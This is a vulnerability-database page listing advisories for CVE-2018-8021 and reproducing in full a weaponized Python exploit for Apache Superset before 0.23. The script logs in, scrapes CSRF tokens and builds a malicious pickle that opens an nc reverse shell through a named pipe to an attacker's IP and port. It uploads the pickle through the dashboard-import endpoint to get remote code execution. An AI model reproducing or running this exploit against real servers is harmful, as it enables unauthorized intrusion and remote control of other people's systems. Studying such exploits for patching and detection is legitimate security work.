| Reporter | Title | Published | Views | Family All 14 |
|---|---|---|---|---|
| Apache Superset 0.23 - Remote Code Execution Exploit | 3 Dec 201800:00 | – | zdt | |
| Apache Superset Command Execution Vulnerability | 9 Nov 201800:00 | – | cnvd | |
| Apache Superset 0.23 Remote Code Execution (CVE-2018-8021) | 27 Dec 201800:00 | – | checkpoint_advisories | |
| CVE-2018-8021 | 7 Nov 201814:00 | – | cve | |
| CVE-2018-8021 | 7 Nov 201814:00 | – | cvelist | |
| Apache Superset 0.23 - Remote Code Execution | 3 Dec 201800:00 | – | exploitpack | |
| Deserialization of Untrusted Data in superset | 9 Nov 201817:40 | – | github | |
| CVE-2018-8021 | 7 Nov 201814:29 | – | nvd | |
| GHSA-VXP9-WV2F-WQMW Deserialization of Untrusted Data in superset | 9 Nov 201817:40 | – | osv | |
| PYSEC-2018-74 | 7 Nov 201814:29 | – | osv |
# Exploit Title: Apache Superset < 0.23 - Remote Code Execution
# Date: 2018-05-17
# Exploit Author: David May ([email protected])
# Vendor Homepage: https://superset.apache.org/
# Software Link: https://github.com/apache/incubator-superset
# Version: Any before 0.23
# Tested on: Ubuntu 18.04
# CVE-ID: CVE-2018-8021
# I originally disclosed this to the Apache Superset team back in May, and the fix had already been
# in place, but not backported. As far as I know, this is the first weaponized exploit for this CVE.
#!/usr/bin/env python
import sys
import os
from lxml import html
import requests
# Change these values to your TCP listener
myIP = '192.168.137.129'
myPort = '8888'
# Credentials must belong to user with 'can Import Dashboards on Superset' privilege
username = 'test'
password = 'test'
# Logic in case script arguments are not given
if len(sys.argv) < 3:
print('Verify you have started a TCP listener on the specified IP and Port to receive the reverse shell...')
print('Script Usage:')
print('./supersetrce.py <superset server ip> <superset port>')
sys.exit()
else:
# Script arguments
supersetIP = sys.argv[1]
supersetPort = sys.argv[2]
# Verify these URLs match your environment
login_URL = 'http://' + supersetIP + ':' + supersetPort + '/login/'
upload_URL = 'http://' + supersetIP + ':' + supersetPort + '/superset/import_dashboards'
# Checks to see if file that we are going to write already exists in case this is run more than once
if os.path.isfile('evil.pickle'):
os.remove('evil.pickle')
# Headers that we append to our POST requests
headers_dict = {
'User-Agent': 'Mozilla/5.0 (X11; Linux x86_64; rv:58.0) Gecko/20100101 Firefox/58.0',
'DNT': '1',
'Connection': 'close',
'Upgrade-Insecure-Requests': '1',
}
# Creates evil pickle file and writes the reverse shell to it
evilPickle = open('evil.pickle','w+')
evilPickle.write('cos\nsystem\n(S\'rm /tmp/backpipe;mknod /tmp/backpipe p;/bin/sh 0</tmp/backpipe | nc ' + myIP + ' ' + myPort + ' 1>/tmp/backpipe\'\ntR.')
evilPickle.close()
# Start a session so we have persistent cookies
session = requests.session()
# Grabs the Login page to parse it for its CSRF token
login_page = session.get(login_URL)
if login_page.status_code != 200:
print('Login page not reached, verify URLs in script')
login_tree = html.fromstring(login_page.content)
csrf_token = login_tree.xpath('//input[@id="csrf_token"]/@value')
# Form data that is sent in the POST request to Login page
login_data = {
'csrf_token' : csrf_token,
'username' : username,
'password' : password,
}
# Adds the Referer header for the login page
headers_dict['Referer'] = login_URL
# Logon action
login = session.post(login_URL, headers=headers_dict, data=login_data)
# Grabs the Upload page to parse it for its CSRF token
upload_page = session.get(upload_URL)
if upload_page.status_code != 200:
print('Upload page not reached, verify credentials and URLs in script')
upload_tree = html.fromstring(upload_page.content)
csrf_token = upload_tree.xpath('//input[@id="csrf_token"]/@value')
# Adds the Referer header for the Upload page
headers_dict['Referer'] = upload_URL
# Upload action
upload = session.post(upload_URL, headers=headers_dict, data={'csrf_token':csrf_token}, files={'file':('evil.pickle',open('evil.pickle','rb'),'application/octet-stream')})
# Closes the session
session.close()
sys.exit()Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation